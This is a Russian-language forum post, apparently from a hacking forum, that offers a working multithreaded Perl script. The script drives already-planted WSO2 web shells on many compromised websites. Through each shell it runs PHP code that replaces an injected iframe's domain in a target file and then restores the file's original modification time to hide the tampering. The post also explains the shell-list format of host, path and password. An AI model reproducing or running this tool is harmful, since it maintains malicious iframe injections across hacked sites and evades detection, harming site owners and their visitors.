WSO2 iframe changer PERL-скрипт Исключительно для WSO2 https://forum.antichat.net/threadnav103155-1-10.html Делал для себя, испытан в боевых условиях, для тех, у кого нет TDS или проблемы с TDS или еще что, в общем оно может: 1. Многопоточный 2. Код шелла никак не трогается - можете работать сразу с вашими 3. Принцип работы - меняет старый фрейм в определенном файле на новый (или любой другой текст, на ваше усмотрение) 4. Поддерживаются как шеллы с паролем, так и без 5. Алгоритм - все делается через один POST запрос (т.е. имитация вашей работы в шелле) через PHP-код - предусмотрено возможностями шелла 6. Timeback(*nix/win) - наконец-то все делается автоматически! Речь идет о времени изменения файла. Т.е. сначала берется текущее время файла (тем самым вы уже избавлены от проверки изменения времени файла после вмешательства в его структуру), вносятся изменения и затем происходит откат времени. 7. Возможность вести логи по каждому файлу на каждом хосте, или отключить их ведения (необходимо в тестовом режиме), скрин лога по одному файлу : 8. Возможность выставить кодировку. 9. Файл настроек - сам код + файл shells.txt С кодом все просто, файл shells.txt (пример): localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|1.txt localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|2.txt 1) все параметры разделяются с помощью "|" 1-й параметр: - хост, где ваш шелл 2-й параметр: - путь до шелла относительно хоста (всегда начинается с "/") 3-й параметр: - пароль на шелл 4-й параметр: - абсолютный путь до файла с фреймом (в конце обязательно слеш) 5-й параметр: - имя файла 2) новый файл/хост - просто с новой строчки 10. Ну и наконец сам код: Code: #!/usr/bin/perl - UTF-8 encoding ################################################################################################################ # WSO2 iframe changer by Pashkela [BugTrack Team] © 2010 # ################################################################################################################ use IO::Socket; use threads; use threads::shared; my $num : shared; ################################################################################################################ # Настройки # ################################################################################################################ $shells = 'shells.txt'; # файл с настройками $kol_threads = 10; # Кол-во потоков $timeout = 10; # таймаут в секундах $log = 1; # Вести логи по каждому файлу, 1 = true, 0 = false $old = '123'; # что меняем $new = 'some_new'; # на что меняем $charset = 'UTF-8'; # кодировка ################################################################################################################ open(FILE, "<", $shells); while(<FILE>) { chomp; if($_) {push(@shells, $_)} } close(FILE); $size = @shells; ################################################################################################################ if ($size < 10) { $thr = $size; } else { $thr = $kol_threads; } $num = -1; # Не меняется for(0..$thr) { $trl[$_] = threads->create(\&gets); } for(0..$thr) { $trl[$_]->join; } sub gets { $| = 1; while ($num < $size) { { lock($num); $num++; } ($shell_host,$shell_path,$pass,$path_to_frame_file,$file) = split(/\|/,$shells[$num]); $code = '$time_file=filemtime("'. $path_to_frame_file . $file .'");$content=file_get_contents("' . $path_to_frame_file . $file . '");$content = str_replace("' . $old . '","' . $new . '", $content);file_put_contents("' . $path_to_frame_file . $file . '",$content);touch("' . $path_to_frame_file . $file . '", $time_file);'; frame(); } print $num . "\r"; } sub req { my($host, $path, $type, $data) = @_; my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, PeerProto => 'tcp', TimeOut => $timeout); my $request = "$type $path HTTP/1.1\n". "Host: $host\n"; $request .= "Content-type: application/x-www-form-urlencoded\n". "Content-Length: ".length($data)."\n\n".$data; print $sock $request; my $answ = undef; while(my $buf = <$sock>) { $answ .= $buf; } return $answ; } sub frame { $answ2 = req($shell_host, $shell_path, 'POST', "pass=$pass&a=Php&c=$path_to_frame_file&p1=$code&p2=&p3=&charset=$charset"); print "HOST: [" . $shell_host . "]\n"; print "File: [" . $path_to_frame_file . $file . "]...[+]\n"; print "-----------------------------------------------------------------------------------\n"; if ($log == 1) { open( FILE, ">>" . "z_" . $shell_host . "_" . $file . ".html" ); # Файл для записи результатов print FILE "==========================================================================\n"; print FILE $answ2; close (FILE); } } PS: Предварительно настоятельно рекомендуется потестить локально. Замечания, критика и пожелания принимаются. Планету хакерам. PPSS: обычно что? Правильно, меняется только домен, в итоге: $old = 'старый_домен'; # что меняем $new = 'новый_домен'; # на что меняем